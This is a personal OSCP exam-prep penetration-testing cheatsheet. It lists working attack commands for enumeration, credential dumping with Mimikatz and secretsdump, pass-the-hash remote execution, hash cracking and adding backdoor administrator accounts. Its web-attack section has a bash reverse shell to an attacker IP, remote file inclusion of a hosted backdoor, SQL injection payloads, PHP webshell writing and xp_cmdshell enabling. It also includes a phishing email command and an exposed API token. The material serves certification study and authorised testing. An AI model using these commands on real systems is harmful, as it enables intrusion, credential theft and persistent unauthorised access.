OSCP Cheatsheet

Prepared as part of my OSCP Preparation.

Successfully passed the OSCP exam on May 20, 2024. Verify my achievement here.
Feel free to open a pull request if you have any corrections, improvements, or new additions!
You can access my cheatsheet from here: https://s4thv1k.com/posts/oscp-cheatsheet/ as well!

General

💡 For Finding all important files in Windows (CTF Style)

cd c:\Users then tree /F

Important Locations

Windows

```powershell
C:/Users/Administrator/NTUser.dat
C:/Documents and Settings/Administrator/NTUser.dat
C:/apache/logs/access.log
C:/apache/logs/error.log
C:/apache/php/php.ini
C:/boot.ini
C:/inetpub/wwwroot/global.asa
C:/MySQL/data/hostname.err
C:/MySQL/data/mysql.err
C:/MySQL/data/mysql.log
C:/MySQL/my.cnf
C:/MySQL/my.ini
C:/php4/php.ini
C:/php5/php.ini
C:/php/php.ini
C:/Program Files/Apache Group/Apache2/conf/httpd.conf
C:/Program Files/Apache Group/Apache/conf/httpd.conf
C:/Program Files/Apache Group/Apache/logs/access.log
C:/Program Files/Apache Group/Apache/logs/error.log
C:/Program Files/FileZilla Server/FileZilla Server.xml
C:/Program Files/MySQL/data/hostname.err
C:/Program Files/MySQL/data/mysql-bin.log
C:/Program Files/MySQL/data/mysql.err
C:/Program Files/MySQL/data/mysql.log
C:/Program Files/MySQL/my.ini
C:/Program Files/MySQL/my.cnf
C:/Program Files/MySQL/MySQL Server 5.0/data/hostname.err
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql-bin.log
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.err
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.log
C:/Program Files/MySQL/MySQL Server 5.0/my.cnf
C:/Program Files/MySQL/MySQL Server 5.0/my.ini
C:/Program Files (x86)/Apache Group/Apache2/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/access.log
C:/Program Files (x86)/Apache Group/Apache/conf/error.log
C:/Program Files (x86)/FileZilla Server/FileZilla Server.xml
C:/Program Files (x86)/xampp/apache/conf/httpd.conf
C:/WINDOWS/php.ini
C:/WINDOWS/Repair/SAM
C:/Windows/repair/system
C:/Windows/repair/software
C:/Windows/repair/security
C:/WINDOWS/System32/drivers/etc/hosts
C:/Windows/win.ini
C:/WINNT/php.ini
C:/WINNT/win.ini
C:/xampp/apache/bin/php.ini
C:/xampp/apache/logs/access.log
C:/xampp/apache/logs/error.log
C:/Windows/Panther/Unattend/Unattended.xml
C:/Windows/Panther/Unattended.xml
C:/Windows/debug/NetSetup.log
C:/Windows/system32/config/AppEvent.Evt
C:/Windows/system32/config/SecEvent.Evt
C:/Windows/system32/config/default.sav
C:/Windows/system32/config/security.sav
C:/Windows/system32/config/software.sav
C:/Windows/system32/config/system.sav
C:/Windows/system32/config/regback/default
C:/Windows/system32/config/regback/sam
C:/Windows/system32/config/regback/security
C:/Windows/system32/config/regback/system
C:/Windows/system32/config/regback/software
C:/Program Files/MySQL/MySQL Server 5.1/my.ini
C:/Windows/System32/inetsrv/config/schema/ASPNET_schema.xml
C:/Windows/System32/inetsrv/config/applicationHost.config
C:/inetpub/logs/LogFiles/W3SVC1/u_ex[YYMMDD].log
```

Linux

```powershell
/etc/passwd
/etc/shadow
/etc/aliases
/etc/anacrontab
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/etc/apache2/sites-enabled/000-default.conf
/etc/at.allow
/etc/at.deny
/etc/bashrc
/etc/bootptab
/etc/chrootUsers
/etc/chttp.conf
/etc/cron.allow
/etc/cron.deny
/etc/crontab
/etc/cups/cupsd.conf
/etc/exports
/etc/fstab
/etc/ftpaccess
/etc/ftpchroot
/etc/ftphosts
/etc/groups
/etc/grub.conf
/etc/hosts
/etc/hosts.allow
/etc/hosts.deny
/etc/httpd/access.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/httpd.conf
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/php.ini
/etc/httpd/srm.conf
/etc/inetd.conf
/etc/inittab
/etc/issue
/etc/knockd.conf
/etc/lighttpd.conf
/etc/lilo.conf
/etc/logrotate.d/ftp
/etc/logrotate.d/proftpd
/etc/logrotate.d/vsftpd.log
/etc/lsb-release
/etc/motd
/etc/modules.conf
/etc/motd
/etc/mtab
/etc/my.cnf
/etc/my.conf
/etc/mysql/my.cnf
/etc/network/interfaces
/etc/networks
/etc/npasswd
/etc/passwd
/etc/php4.4/fcgi/php.ini
/etc/php4/apache2/php.ini
/etc/php4/apache/php.ini
/etc/php4/cgi/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php/apache2/php.ini
/etc/php/apache/php.ini
/etc/php/cgi/php.ini
/etc/php.ini
/etc/php/php4/php.ini
/etc/php/php.ini
/etc/printcap
/etc/profile
/etc/proftp.conf
/etc/proftpd/proftpd.conf
/etc/pure-ftpd.conf
/etc/pureftpd.passwd
/etc/pureftpd.pdb
/etc/pure-ftpd/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.pdb
/etc/pure-ftpd/putreftpd.pdb
/etc/redhat-release
/etc/resolv.conf
/etc/samba/smb.conf
/etc/snmpd.conf
/etc/ssh/ssh_config
/etc/ssh/sshd_config
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_dsa_key.pub
/etc/ssh/ssh_host_key
/etc/ssh/ssh_host_key.pub
/etc/sysconfig/network
/etc/syslog.conf
/etc/termcap
/etc/vhcs2/proftpd/proftpd.conf
/etc/vsftpd.chroot_list
/etc/vsftpd.conf
/etc/vsftpd/vsftpd.conf
/etc/wu-ftpd/ftpaccess
/etc/wu-ftpd/ftphosts
/etc/wu-ftpd/ftpusers
/logs/pure-ftpd.log
/logs/security_debug_log
/logs/security_log
/opt/lampp/etc/httpd.conf
/opt/xampp/etc/php.ini
/proc/cmdline
/proc/cpuinfo
/proc/filesystems
/proc/interrupts
/proc/ioports
/proc/meminfo
/proc/modules
/proc/mounts
/proc/net/arp
/proc/net/tcp
/proc/net/udp
/proc/<PID>/cmdline
/proc/<PID>/maps
/proc/sched_debug
/proc/self/cwd/app.py
/proc/self/environ
/proc/self/net/arp
/proc/stat
/proc/swaps
/proc/version
/root/anaconda-ks.cfg
/usr/etc/pure-ftpd.conf
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/apache/conf/modsec.conf
/usr/local/apache/conf/php.ini
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/usr/local/apache/audit_log
/usr/local/apache/error_log
/usr/local/apache/error.log
/usr/local/cpanel/logs
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/etc/php.ini
/usr/local/etc/pure-ftpd.conf
/usr/local/etc/pureftpd.pdb
/usr/local/lib/php.ini
/usr/local/php4/httpd.conf
/usr/local/php4/httpd.conf.php
/usr/local/php4/lib/php.ini
/usr/local/php5/httpd.conf
/usr/local/php5/httpd.conf.php
/usr/local/php5/lib/php.ini
/usr/local/php/httpd.conf
/usr/local/php/httpd.conf.ini
/usr/local/php/lib/php.ini
/usr/local/pureftpd/etc/pure-ftpd.conf
/usr/local/pureftpd/etc/pureftpd.pdn
/usr/local/pureftpd/sbin/pure-config.pl
/usr/local/www/logs/httpd_log
/usr/local/Zend/etc/php.ini
/usr/sbin/pure-config.pl
/var/adm/log/xferlog
/var/apache2/config.inc
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/cpanel/cpanel.config
/var/lib/mysql/my.cnf
/var/lib/mysql/mysql/user.MYD
/var/local/www/conf/php.ini
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/auth.log
/var/log/boot
/var/htmp
/var/log/chttp.log
/var/log/cups/error.log
/var/log/daemon.log
/var/log/debug
/var/log/dmesg
/var/log/dpkg.log
/var/log/exim_mainlog
/var/log/exim/mainlog
/var/log/exim_paniclog
/var/log/exim.paniclog
/var/log/exim_rejectlog
/var/log/exim/rejectlog
/var/log/faillog
/var/log/ftplog
/var/log/ftp-proxy
/var/log/ftp-proxy/ftp-proxy.log
/var/log/httpd-access.log
/var/log/httpd/access_log
/var/log/httpd/access.log
/var/log/httpd/error_log
/var/log/httpd/error.log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/kern.log
/var/log/lastlog
/var/log/lighttpd/access.log
/var/log/lighttpd/error.log
/var/log/lighttpd/lighttpd.access.log
/var/log/lighttpd/lighttpd.error.log
/var/log/mail.info
/var/log/mail.log
/var/log/maillog
/var/log/mail.warn
/var/log/message
/var/log/messages
/var/log/mysqlderror.log
/var/log/mysql.log
/var/log/mysql/mysql-bin.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/log/proftpd
/var/log/pureftpd.log
/var/log/pure-ftpd/pure-ftpd.log
/var/log/secure
/var/log/vsftpd.log
/var/log/wtmp
/var/log/xferlog
/var/log/yum.log
/var/mysql.log
/var/run/utmp
/var/spool/cron/crontabs/root
/var/webmin/miniserv.log
/var/www/html<VHOST>/__init__.py
/var/www/html/db_connect.php
/var/www/html/utils.php
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access_log
/var/www/logs/error_log
/var/www/logs/access.log
/var/www/logs/error.log
~/.atfp_history
~/.bash_history
~/.bash_logout
~/.bash_profile
~/.bashrc
~/.gtkrc
~/.login
~/.logout
~/.mysql_history
~/.nano_history
~/.php_history
~/.profile
~/.ssh/authorized_keys
#id_rsa, id_ecdsa, id_ecdsa_sk, id_ed25519, id_ed25519_sk, and id_dsa
~/.ssh/id_dsa
~/.ssh/id_dsa.pub
~/.ssh/id_rsa
~/.ssh/id_edcsa
~/.ssh/id_rsa.pub
~/.ssh/identity
~/.ssh/identity.pub
~/.viminfo
~/.wm_style
~/.Xdefaults
~/.xinitrc
~/.Xresources
~/.xsession
```

Discovering KDBX files

In Windows

Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue

In Linux

find / -name *.kdbx 2>/dev/null

GitHub recon

You need to find traces of the .git files on the target machine.
Now navigate to the directory where the file is located, a potential repository.
Commands

# Log information of the current repository.
git log

# This will display the log of the stuff happened, like commit history which is very useful
git show <commit-id>

# This shows the commit information and the newly added stuff.

If you identify .git active on the website. Use https://github.com/arthaud/git-dumper now it downloads all the files and saves it locally. Perform the same above commands and escalate.
Some useful GitHub dorks: https://book.hacktricks.xyz/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets → this might not be relevant to the exam environment.

Connecting to RDP

xfreerdp /u:uname /p:'pass' /v:IP
xfreerdp /d:domain.com /u:uname /p:'pass' /v:IP
xfreerdp /u:uname /p:'pass' /v:IP +clipboard #try this option if normal login doesn't work

Adding SSH Public key

This can be used to get ssh session, on target machine which is based on linux

ssh-keygen -t rsa -b 4096 #give any password

#This created both id_rsa and id_rsa.pub in ~/.ssh directory
#Copy the content in "id_rsa.pub" and create ".ssh" directory in /home of target machine.
chmod 700 ~/.ssh
nano ~/.ssh/authorized_keys #enter the copied content here
chmod 600 ~/.ssh/authorized_keys 

#On Attacker machine
ssh username@target_ip #enter password if you gave any

File Transfers

Netcat

#Attacker
nc <target_ip> 1234 < nmap

#Target
nc -lvp 1234 > nmap

Downloading on Windows

powershell -command Invoke-WebRequest -Uri http://<LHOST>:<LPORT>/<FILE> -Outfile C:\\temp\\<FILE>
iwr -uri http://lhost/file -Outfile file
certutil -urlcache -split -f "http://<LHOST>/<FILE>" <FILE>
copy \\kali\share\file .

Downloading on Linux

wget http://lhost/file
curl http://<LHOST>/<FILE> > <OUTPUT_FILE>

Windows to Kali

kali> impacket-smbserver -smb2support <sharename> .
win> copy file \\KaliIP\sharename

Adding Users

Windows

net user hacker hacker123 /add
net localgroup Administrators hacker /add
net localgroup "Remote Desktop Users" hacker /ADD

Linux

adduser <uname> #Interactive
useradd <uname>

useradd -u <UID> -g <group> <uname>  #UID can be something new than existing, this command is to add a user to a specific group

Password-Hash Cracking

Hash Analyzer: https://www.tunnelsup.com/hash-analyzer/

fcrackzip

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt <FILE>.zip #Cracking zip files

John

https://github.com/openwall/john/tree/bleeding-jumbo/run

If there’s an encrypted file, convert it into john hash and crack.

ssh2john.py id_rsa > hash
#Convert the obtained hash to John format(above link)
john hashfile --wordlist=rockyou.txt

Hashcat

https://hashcat.net/wiki/doku.php?id=example_hashes

#Obtain the Hash module number 
hashcat -m <number> hash wordlists.txt --force

Pivoting through SSH

ssh adminuser@10.10.155.5 -i id_rsa -D 9050 #TOR port

#Change the info in /etc/proxychains4.conf also enable "Quiet Mode"

proxychains4 crackmapexec smb 10.10.10.0/24 #Example

Dealing with Passwords

When there’s a scope for bruteforce or hash-cracking then try the following,
- Have a valid username first
- Don't forget trying admin:admin
- Try username:username as first credential
- If it’s related to a service, try default passwords.
- The service name is the username, and the same name is used for the password.
- Use Rockyou.txt
Some default passwords to always try out!

password
password1
Password1
Password@123
password@123
admin
administrator
admin@123

Impacket

smbclient.py [domain]/[user]:[password/password hash]@[Target IP Address] #we connect to the server rather than a share

lookupsid.py [domain]/[user]:[password/password hash]@[Target IP Address] #User enumeration on target

services.py [domain]/[user]:[Password/Password Hash]@[Target IP Address] [Action] #service enumeration

secretsdump.py [domain]/[user]:[password/password hash]@[Target IP Address]  #Dumping hashes on target

GetUserSPNs.py [domain]/[user]:[password/password hash]@[Target IP Address] -dc-ip <IP> -request  #Kerberoasting, and request option dumps TGS

GetNPUsers.py test.local/ -dc-ip <IP> -usersfile usernames.txt -format hashcat -outputfile hashes.txt #Asreproasting, need to provide usernames list

##RCE
psexec.py test.local/john:password123@10.10.10.1
psexec.py -hashes lmhash:nthash test.local/john@10.10.10.1

wmiexec.py test.local/john:password123@10.10.10.1
wmiexec.py -hashes lmhash:nthash test.local/john@10.10.10.1

smbexec.py test.local/john:password123@10.10.10.1
smbexec.py -hashes lmhash:nthash test.local/john@10.10.10.1

atexec.py test.local/john:password123@10.10.10.1 <command>
atexec.py -hashes lmhash:nthash test.local/john@10.10.10.1 <command>

Evil-Winrm

##winrm service discovery
nmap -p5985,5986 <IP>
5985 - plaintext protocol
5986 - encrypted

##Login with password
evil-winrm -i <IP> -u user -p pass
evil-winrm -i <IP> -u user -p pass -S #if 5986 port is open

##Login with Hash
evil-winrm -i <IP> -u user -H ntlmhash

##Login with key
evil-winrm -i <IP> -c certificate.pem -k priv-key.pem -S #-c for public key and -k for private key

##Logs
evil-winrm -i <IP> -u user -p pass -l

##File upload and download
upload <file>
download <file> <filepath-kali> #not required to provide path all time

##Loading files direclty from Kali location
evil-winrm -i <IP> -u user -p pass -s /opt/privsc/powershell #Location can be different
Bypass-4MSI
Invoke-Mimikatz.ps1
Invoke-Mimikatz

##evil-winrm commands
menu # to view commands
#There are several commands to run
#This is an example for running a binary
evil-winrm -i <IP> -u user -p pass -e /opt/privsc
Bypass-4MSI
menu
Invoke-Binary /opt/privsc/winPEASx64.exe

Mimikatz

privilege::debug

token::elevate

sekurlsa::logonpasswords #hashes and plaintext passwords
lsadump::sam
lsadump::sam SystemBkup.hiv SamBkup.hiv
lsadump::dcsync /user:krbtgt
lsadump::lsa /patch #both these dump SAM

#OneLiner
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

Ligolo-ng

#Creating interface and starting it.
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

#Kali machine - Attacker machine
./proxy -laddr 0.0.0.0:9001 -selfcert

#windows or linux machine - compromised machine
agent.exe -connect <LHOST>:9001 -ignore-cert

#In Ligolo-ng console
session #select host
ifconfig #Notedown the internal network's subnet
start #after adding relevent subnet to ligolo interface

#Adding subnet to ligolo interface - Kali linux
sudo ip r add <subnet> dev ligolo

Recon and Enumeration

OSINT OR Passive Recon
💡 Not that useful for OSCP as we’ll be dealing with internal machines
- whois: whois <domain> or whois <domain> -h <IP>
- Google Dorking,
  - site
  - filetype
  - intitle
  - GHDB - Google hacking database
- OS and Service Information using searchdns.netcraft.com
- Github Dorking
  - filename
  - user
  - A tool called Gitleaks for automated enumeration
- Shodan dorks
  - hostname
  - port
  - Then gather information by going through the options
- Scanning Security headers and SSL/TLS using https://securityheaders.com/

Port Scanning

#use -Pn option if you're getting nothing in the scan
nmap -sC -sV <IP> -v #Basic scan
nmap -T4 -A -p- <IP> -v #complete scan
sudo nmap -sV -p 443 --script "vuln" 192.168.50.124 #running vuln category scripts

#NSE
updatedb
locate .nse | grep <name>
sudo nmap --script="name" <IP> #here we can specify other options like specific ports...etc

Test-NetConnection -Port <port> <IP>   #powershell utility

1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("IP", $_)) "TCP port $_ is open"} 2>$null #automating port scan of first 1024 ports in powershell

FTP enumeration

ftp <IP>
#login if you have relevant creds or based on nmap scan find out whether this has an anonymous login or not, then login with Anonymous:password

put <file> #uploading file
get <file> #downloading file

#NSE
locate .nse | grep ftp
nmap -p21 --script=<name> <IP>

#bruteforce
hydra -L users.txt -P passwords.txt <IP> ftp #'-L' for usernames list, '-l' for username and vice versa

# Check for vulnerabilities associated with the identified version.

SSH enumeration

#Login
ssh uname@IP #enter the password in the prompt

#id_rsa or id_ecdsa file
chmod 600 id_rsa/id_ecdsa
ssh uname@IP -i id_rsa/id_ecdsa #if it still asks for the password, crack it using John

#cracking id_rsa or id_ecdsa
ssh2john id_ecdsa(or)id_rsa > hash
john --wordlist=/home/sathvik/Wordlists/rockyou.txt hash

#bruteforce
hydra -l uname -P passwords.txt <IP> ssh #'-L' for usernames list, '-l' for username and vice versa

# Check for vulnerabilities associated with the identified version.

SMB enumeration

sudo nbtscan -r 192.168.50.0/24 #IP or range can be provided

#NSE scripts can be used
locate .nse | grep smb
nmap -p445 --script="name" $IP 

#In windows we can view like this
net view \\<computername/IP> /all

#crackmapexec
crackmapexec smb <IP/range>  
crackmapexec smb 192.168.1.100 -u username -p password
crackmapexec smb 192.168.1.100 -u username -p password --shares #lists available shares
crackmapexec smb 192.168.1.100 -u username -p password --users #lists users
crackmapexec smb 192.168.1.100 -u username -p password --all #all information
crackmapexec smb 192.168.1.100 -u username -p password -p 445 --shares #specific port
crackmapexec smb 192.168.1.100 -u username -p password -d mydomain --shares #specific domain
#Inplace of username and password, we can include usernames.txt and passwords.txt for password-spraying or bruteforcing.

# Smbclient
smbclient -L //IP #or try with 4 /'s
smbclient //server/share
smbclient //server/share -U <username>
smbclient //server/share -U domain/username

#SMBmap
smbmap -H <target_ip>
smbmap -H <target_ip> -u <username> -p <password>
smbmap -H <target_ip> -u <username> -p <password> -d <domain>
smbmap -H <target_ip> -u <username> -p <password> -r <share_name>

#Within SMB session
put <file> #to upload file
get <file> #to download file

Downloading shares is made easy—if the folder consists of several files, they will all be downloaded by this.

mask ""
recurse ON
prompt OFF
mget *

HTTP/S enumeration

View the source code and identify any hidden content. If an image looks suspicious, download it and try to find hidden data in it.
Identify the version or CMS and check for active exploits. This can be done using Nmap and Wappalyzer.
check /robots.txt folder
Look for the hostname and add the relevant one to /etc/hosts file.
Directory and file discovery - Obtain any hidden files that may contain juicy information

dirbuster
gobuster dir -u http://example.com -w /path/to/wordlist.txt
python3 dirsearch.py -u http://example.com -w /path/to/wordlist.txt

Vulnerability Scanning using nikto: nikto -h <url>
HTTPSSSL certificate inspection, may reveal information like subdomains, usernames…etc
Default credentials: Identify the CMS or service, check for default credentials, and test them out.
Bruteforce

hydra -L users.txt -P password.txt <IP or domain> http-{post/get}-form "/path:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https, post, or get, which can be obtained from Burpsuite. Also, capture the response for detailed information.

#Bruteforce can also be done by Burpsuite but it's slow, prefer Hydra!

if cgi-bin is present, then do further fuzzing and obtain files like .sh or .pl
Check if other services like FTP/SMB or any other that has upload privileges are getting reflected on the web.
API - Fuzz further, and it can reveal some sensitive information

#identifying endpoints using gobuster
gobuster dir -u http://192.168.50.16:5002 -w /usr/share/wordlists/dirb/big.txt -p pattern #pattern can be like {GOBUSTER}/v1 here v1 is just for example, it can be anything

#obtaining info using curl
curl -i http://192.168.50.16:5002/users/v1

If there is any Input field check for Remote Code execution or SQL Injection
Check the URL, whether we can leverage Local or Remote File Inclusion.
Also check if there’s any file upload utility(also obtain the location it’s getting reflected)

Wordpress

# basic usage
wpscan --url "target" --verbose

# enumerate vulnerable plugins, users, vulnerable themes, timthumbs
wpscan --url "target" --enumerate vp,u,vt,tt --follow-redirection --verbose --log target.log

# Add Wpscan API to get the details of vulnerabilties.
wpscan --url http://alvida-eatery.org/ --api-token NjnoSGZkuWDve0fDjmmnUNb1ZnkRw6J2J1FvBsVLPkA 

#Accessing Wordpress shell
http://10.10.67.245/retro/wp-admin/theme-editor.php?file=404.php&theme=90s-retro

http://10.10.67.245/retro/wp-content/themes/90s-retro/404.php

Drupal

droopescan scan drupal -u http://site

Joomla

droopescan scan joomla --url http://site
sudo python3 joomla-brute.py -u http://site/ -w passwords.txt -usr username #https://github.com/ajnik/joomla-bruteforce

DNS enumeration

Better use Seclists wordlists for better enumeration. https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS

host www.megacorpone.com
host -t mx megacorpone.com
host -t txt megacorpone.com

for ip in $(cat list.txt); do host $ip.megacorpone.com; done #DNS Bruteforce
for ip in $(seq 200 254); do host 51.222.169.$ip; done | grep -v "not found" #bash bruteforcer to find domain name

## DNS Recon
dnsrecon -d megacorpone.com -t std #standard recon
dnsrecon -d megacorpone.com -D ~/list.txt -t brt #bruteforce, hence we provided list

# DNS Bruteforce using dnsenum
dnsenum megacorpone.com

## NSlookup, a gold mine
nslookup mail.megacorptwo.com
nslookup -type=TXT info.megacorptwo.com 192.168.50.151 #We are querying the information from a specific IP, here it is 192.168.50.151. This can be very useful

SMTP enumeration

nc -nv <IP> 25 #Version Detection
smtp-user-enum -M VRFY -U username.txt -t <IP> # -M means mode; it can be RCPT, VRFY, EXPN

#Sending email with valid credentials, the below is an example of Phishing mail attack
sudo swaks -t daniela@beyond.com -t marcus@beyond.com --from john@beyond.com --attach @config.Library-ms --server 192.168.50.242 --body @body.txt --header "Subject: Staging Script" --suppress-data -ap

LDAP Enumeration

ldapsearch -x -H ldap://<IP>:<port> # try on both ldap and ldaps, this is first command to run if you dont have any valid credentials.

ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
#CN name describes the info we're collecting
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

#windapsearch.py
#for computers
python3 windapsearch.py --dc-ip <IP address> -u <username> -p <password> --computers

#for groups
python3 windapsearch.py --dc-ip <IP address> -u <username> -p <password> --groups

#for users
python3 windapsearch.py --dc-ip <IP address> -u <username> -p <password> --da

#for privileged users
python3 windapsearch.py --dc-ip <IP address> -u <username> -p <password> --privileged-users

NFS Enumeration

nmap -sV --script=nfs-showmount <IP>
showmount -e <IP>

SNMP Enumeration

#Nmap UDP scan
sudo nmap <IP> -A -T4 -p- -sU -v -oN nmap-udpscan.txt

snmpcheck -t <IP> -c public #Better version than snmpwalk as it displays more user friendly

snmpwalk -c public -v1 -t 10 <IP> #Displays entire MIB tree, MIB Means Management Information Base
snmpwalk -c public -v1 <IP> 1.3.6.1.4.1.77.1.2.25 #Windows User enumeration
snmpwalk -c public -v1 <IP> 1.3.6.1.2.1.25.4.2.1.2 #Windows Processes enumeration
snmpwalk -c public -v1 <IP> 1.3.6.1.2.1.25.6.3.1.2 #Installed software enumeraion
snmpwalk -c public -v1 <IP> 1.3.6.1.2.1.6.13.1.3 #Opened TCP Ports

#Windows MIB values
1.3.6.1.2.1.25.1.6.0 - System Processes
1.3.6.1.2.1.25.4.2.1.2 - Running Programs
1.3.6.1.2.1.25.4.2.1.4 - Processes Path
1.3.6.1.2.1.25.2.3.1.4 - Storage Units
1.3.6.1.2.1.25.6.3.1.2 - Software Name
1.3.6.1.4.1.77.1.2.25 - User Accounts
1.3.6.1.2.1.6.13.1.3 - TCP Local Ports

RPC Enumeration

rpcclient -U=user $IP
rpcclient -U="" $IP #Anonymous login
##Commands within in RPCclient
srvinfo
enumdomusers #users
enumpriv #like "whoami /priv"
queryuser <user> #detailed user info
getuserdompwinfo <RID> #password policy, get user-RID from previous command
lookupnames <user> #SID of specified user
createdomuser <username> #Creating a user
deletedomuser <username>
enumdomains
enumdomgroups
querygroup <group-RID> #get rid from previous command
querydispinfo #description of all users
netshareenum #Share enumeration, this only comesup if the current user we're logged in has permissions
netshareenumall
lsaenumsid #SID of all users

Web Attacks

💡 Cross-platform PHP revershell: [https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell.php](https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell.php)

Directory Traversal

cat /etc/passwd #displaying content through absolute path
cat ../../../etc/passwd #relative path

# if the pwd is /var/log/ then in order to view the /etc/passwd it will be like this
cat ../../etc/passwd

#In web int should be exploited like this, find a parameters and test it out
http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../etc/passwd
#check for id_rsa, id_ecdsa
#If the output is not getting formatted properly then,
curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../etc/passwd 

#For windows
http://192.168.221.193:3000/public/plugins/alertlist/../../../../../../../../Users/install.txt #no need to provide drive

URL Encoding

#Sometimes it doesn't show if we try path, then we need to encode them
curl http://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

Wordpress
- Simple exploit: https://github.com/leonjza/wordpress-shell

Local File Inclusion

The main difference between Directory traversal and this attack is that we can execute commands remotely here.

#At first we need 
http://192.168.45.125/index.php?page=../../../../../../../../../var/log/apache2/access.log&cmd=whoami #we're passing a command here

#Reverse shells
bash -c "bash -i >& /dev/tcp/192.168.119.3/4444 0>&1"
#We can simply pass a reverse shell to the cmd parameter and obtain reverse-shell
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.119.3%2F4444%200%3E%261%22 #encoded version of above reverse-shell

#PHP wrapper
curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain,<?php%20echo%20system('uname%20-a');?>" 
curl http://mountaindesserts.com/meteor/index.php?page=php://filter/convert.base64-encode/resource=/var/www/html/backup.php

Remote file inclusion

1. Obtain a php shell
2. host a file server 
3.
http://mountaindesserts.com/meteor/index.php?page=http://attacker-ip/simple-backdoor.php&cmd=ls
we can also host a php reverseshell and obtain shell.

SQL Injection

admin' or '1'='1
' or '1'='1
" or "1"="1
" or "1"="1"--
" or "1"="1"/*
" or "1"="1"#
" or 1=1
" or 1=1 --
" or 1=1 -
" or 1=1--
" or 1=1/*
" or 1=1#
" or 1=1-
") or "1"="1
") or "1"="1"--
") or "1"="1"/*
") or "1"="1"#
") or ("1"="1
") or ("1"="1"--
") or ("1"="1"/*
") or ("1"="1"#
) or '1`='1-

Blind SQL Injection - This can be identified by Time-based SQLI

#Application takes some time to reload, here it is 3 seconds
http://192.168.50.16/blindsqli.php?user=offsec' AND IF (1=1, sleep(3),'false') -- //

Manual Code Execution

kali> impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth #To login
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
#Now we can run commands
EXECUTE xp_cmdshell 'whoami';

#Sometimes we may not have direct access to convert it to RCE from the web, then follow the below steps
' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- // #Writing into a new file
#Now we can exploit it
http://192.168.45.285/tmp/webshell.php?cmd=id #Command execution

SQLMap - Automated Code Execution

sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user #Testing on parameter names "user", we'll get confirmation
sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user --dump #Dumping database

#OS Shell
#  Obtain the Post request from Burp suite and save it to post.txt
